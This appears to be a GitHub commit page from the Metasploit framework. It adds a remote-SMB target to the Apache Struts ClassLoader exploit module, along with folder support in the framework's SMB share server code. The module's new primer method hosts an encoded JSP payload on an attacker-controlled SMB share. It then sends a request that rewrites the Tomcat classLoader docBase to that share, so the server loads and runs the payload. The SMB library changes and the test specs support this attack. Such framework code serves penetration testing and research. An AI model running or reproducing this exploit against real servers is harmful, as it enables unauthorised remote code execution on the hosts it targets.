Skip to content

Commit 2da1b6c

Browse files
committed
Land rapid7#3323, @0x41414141's SMB target for struts_code_exec_classloader
2 parents 3e81bf0 + 9f3f8bb commit 2da1b6c

File tree

17 files changed

+104
-44
lines changed

17 files changed

+104
-44
lines changed

lib/msf/core/exploit/smb/server/share.rb

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -175,10 +175,9 @@ module Share
175175
# @!attribute share
176176
# @return [String] The share portion of the provided UNC.
177177
attr_accessor :share
178-
# @!attribute path_name
178+
# @!attribute folder_name
179179
# @return [String] The folder where the provided file lives.
180-
# @note UNSUPPORTED
181-
attr_accessor :path_name
180+
attr_accessor :folder_name
182181
# @!attribute file_name
183182
# @return [String] The file name of the provided UNC.
184183
attr_accessor :file_name
@@ -199,6 +198,7 @@ def initialize(info = {})
199198
[
200199
OptString.new('SHARE', [ false, 'Share (Default Random)']),
201200
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
201+
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
202202
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
203203
], Msf::Exploit::Remote::SMB::Server::Share)
204204
end
@@ -207,7 +207,7 @@ def initialize(info = {})
207207
def setup
208208
super
209209

210-
self.path_name = '\\' # TODO: Add subdirectories support
210+
self.folder_name = datastore['FOLDER_NAME']
211211
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
212212
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
213213

@@ -224,7 +224,13 @@ def setup
224224

225225
# Builds the UNC Name for the shared file
226226
def unc
227-
"\\\\#{srvhost}\\#{share}\\#{file_name}"
227+
if folder_name
228+
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
229+
else
230+
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
231+
end
232+
233+
path
228234
end
229235

230236
# Builds the server address.

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,12 @@ def smb_cmd_nt_create_andx(c, buff)
3232
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
3333
eof = file_contents.length
3434
is_dir = 0
35-
elsif payload.eql?(path_name.downcase)
35+
elsif folder_name && payload.ends_with?(folder_name.downcase)
36+
fid = smb[:dir_id].to_i
37+
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
38+
eof = 0
39+
is_dir = 1
40+
elsif payload == "\\"
3641
fid = smb[:dir_id].to_i
3742
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
3843
eof = 0

lib/msf/core/exploit/smb/server/share/command/trans2.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -87,8 +87,8 @@ def normalize_path(path)
8787
def smb_expand(path)
8888
search_path = path.gsub(/<\./, '*.') # manage wildcards
8989
extension = File.extname(file_name)
90-
if search_path == "#{path_name}*#{extension}"
91-
search_path = "#{path_name}#{file_name}"
90+
if search_path =~ /\\\*#{extension}$/
91+
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
9292
end
9393

9494
search_path

lib/msf/core/exploit/smb/server/share/information_level/find.rb

Lines changed: 23 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,15 @@ def smb_cmd_find_file_both_directory_info(c, path)
2121
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
2222
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
2323
search = 1
24-
elsif path && path == path_name.downcase
25-
data = Rex::Text.to_unicode(path_name)
24+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
25+
data = Rex::Text.to_unicode(path)
26+
length = 0
27+
ea = 0x21
28+
alloc = 0 # 0Mb
29+
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
30+
search = 0x100
31+
elsif path && path == "\\"
32+
data = Rex::Text.to_unicode(path)
2633
length = 0
2734
ea = 0x21
2835
alloc = 0 # 0Mb
@@ -52,8 +59,10 @@ def smb_cmd_find_file_both_directory_info(c, path)
5259
def smb_cmd_find_file_names_info(c, path)
5360
if path && path.include?(file_name.downcase)
5461
data = Rex::Text.to_unicode(file_name)
55-
elsif path && path == path_name.downcase
56-
data = Rex::Text.to_unicode(path_name)
62+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
63+
data = Rex::Text.to_unicode(path)
64+
elsif path && path == "\\"
65+
data = Rex::Text.to_unicode(path)
5766
else
5867
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
5968
end
@@ -68,15 +77,23 @@ def smb_cmd_find_file_names_info(c, path)
6877
# @param path [String] The path which the client is requesting info from.
6978
# @return [Fixnum] The number of bytes returned to the client as response.
7079
def smb_cmd_find_file_full_directory_info(c, path)
80+
7181
if path && path.include?(file_name.downcase)
7282
data = Rex::Text.to_unicode(file_name)
7383
length = file_contents.length
7484
ea = 0
7585
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
7686
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
7787
search = 0x100
78-
elsif path && path == path_name.downcase
79-
data = Rex::Text.to_unicode(path_name)
88+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
89+
data = Rex::Text.to_unicode(path)
90+
length = 0
91+
ea = 0x21
92+
alloc = 0 # 0Mb
93+
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
94+
search = 1
95+
elsif path && path == "\\"
96+
data = Rex::Text.to_unicode(path)
8097
length = 0
8198
ea = 0x21
8299
alloc = 0 # 0Mb

lib/msf/core/exploit/smb/server/share/information_level/query.rb

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,12 @@ def smb_cmd_trans_query_file_info_standard(c, fid)
4848
# @param c [Socket] The client sending the request.
4949
# @param path [String] The path which the client is requesting info from.
5050
# @return [Fixnum] The number of bytes returned to the client as response.
51-
# @todo Delete elsif comment if testing proofs it as unnecessary
5251
def smb_cmd_trans_query_path_info_basic(c, path)
5352
if path && path.ends_with?(file_name.downcase)
5453
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
55-
#elsif path && path.ends_with?(file_name + '.Local')
56-
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
57-
elsif path && path == path_name.downcase
54+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
5855
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
59-
elsif path.nil? || path.empty? || path == "\x00" # empty path
56+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
6057
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
6158
else
6259
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -74,9 +71,9 @@ def smb_cmd_trans_query_path_info_basic(c, path)
7471
def smb_cmd_trans_query_path_info_standard(c, path)
7572
if path && path.include?(file_name.downcase)
7673
attrib = 0 # File attributes => file
77-
elsif path && path == path_name.downcase
74+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
7875
attrib = 1 # File attributes => directory
79-
elsif path.nil? || path.empty? || path == "\x00" # empty path
76+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
8077
attrib = 1 # File attributes => directory
8178
else
8279
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
@@ -101,9 +98,9 @@ def smb_cmd_trans_query_path_info_network(c, path)
10198

10299
if path && path.include?(file_name.downcase)
103100
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
104-
elsif path && path == path_name.downcase
101+
elsif path && folder_name && path.ends_with?(folder_name.downcase)
105102
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
106-
elsif path.nil? || path.empty? || path == "\x00" # empty path
103+
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
107104
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
108105
else
109106
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)

modules/exploits/multi/http/struts_code_exec_classloader.rb

Lines changed: 51 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,10 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ManualRanking # It's going to manipulate the Class Loader
1010

11-
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::EXE
1311
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::SMB::Server::Share
1415

1516
def initialize(info = {})
1617
super(update_info(info,
@@ -27,7 +28,8 @@ def initialize(info = {})
2728
[
2829
'Mark Thomas', # Vulnerability Discovery
2930
'Przemyslaw Celej', # Vulnerability Discovery
30-
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
31+
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
32+
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
3133
],
3234
'License' => MSF_LICENSE,
3335
'References' =>
@@ -46,6 +48,7 @@ def initialize(info = {})
4648
'Space' => 5000,
4749
'DisableNops' => true
4850
},
51+
'Stance' => Msf::Exploit::Stance::Aggressive,
4952
'Targets' =>
5053
[
5154
['Java',
@@ -65,17 +68,28 @@ def initialize(info = {})
6568
'Arch' => ARCH_X86,
6669
'Platform' => 'win'
6770
}
71+
],
72+
['Windows / Tomcat 6 & 7 (Remote SMB Resource)',
73+
{
74+
'Arch' => ARCH_JAVA,
75+
'Platform' => 'win'
76+
}
6877
]
6978
],
7079
'DisclosureDate' => 'Mar 06 2014',
7180
'DefaultTarget' => 1))
7281

73-
register_options(
74-
[
75-
Opt::RPORT(8080),
76-
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
77-
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']])
78-
], self.class)
82+
register_options(
83+
[
84+
Opt::RPORT(8080),
85+
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
86+
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
87+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
88+
OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']),
89+
OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example'])
90+
], self.class)
91+
92+
deregister_options('FILE_CONTENTS')
7993
end
8094

8195
def jsp_dropper(file, exe)
@@ -199,6 +213,34 @@ def create_jsp
199213
end
200214

201215
def exploit
216+
if target.name =~ /Remote SMB Resource/
217+
begin
218+
Timeout.timeout(datastore['SMB_DELAY']) { super }
219+
rescue Timeout::Error
220+
# do nothing... just finish exploit and stop smb server...
221+
end
222+
else
223+
class_loader_exploit
224+
end
225+
end
226+
227+
# Used with SMB targets
228+
def primer
229+
self.file_contents = payload.encoded
230+
print_status("JSP payload available on #{unc}...")
231+
232+
print_status("#{peer} - Modifying Class Loader...")
233+
send_request_cgi({
234+
'uri' => normalize_uri(target_uri.path.to_s),
235+
'version' => '1.1',
236+
'method' => 'GET',
237+
'vars_get' => {
238+
'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
239+
}
240+
})
241+
end
242+
243+
def class_loader_exploit
202244
prefix_jsp = rand_text_alphanumeric(3+rand(3))
203245
date_format = rand_text_numeric(1+rand(4))
204246
@jsp_file = prefix_jsp + date_format + ".jsp"

modules/exploits/windows/fileformat/ms13_071_theme.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ def initialize(info={})
6464
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
6565
], self.class)
6666

67+
deregister_options('FOLDER_NAME')
6768
deregister_options('FILE_CONTENTS')
6869
end
6970

modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,7 @@ def initialize(info={})
6161
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
6262
], self.class)
6363

64+
deregister_options('FOLDER_NAME')
6465
deregister_options('FILE_CONTENTS')
6566
end
6667

spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,6 @@
7979
mod.lo = 0
8080
mod.hi = 0
8181
mod.share = 'test'
82-
mod.path_name = "\\"
8382
mod.file_name = 'false.exe'
8483
mod.file_contents = 'metasploit'
8584

spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,6 @@
6767
mod.lo = 0
6868
mod.hi = 0
6969
mod.share = 'test'
70-
mod.path_name = "\\"
7170
mod.file_name = 'false.exe'
7271
mod.file_contents = 'metasploit'
7372

0 commit comments

Comments
 (0)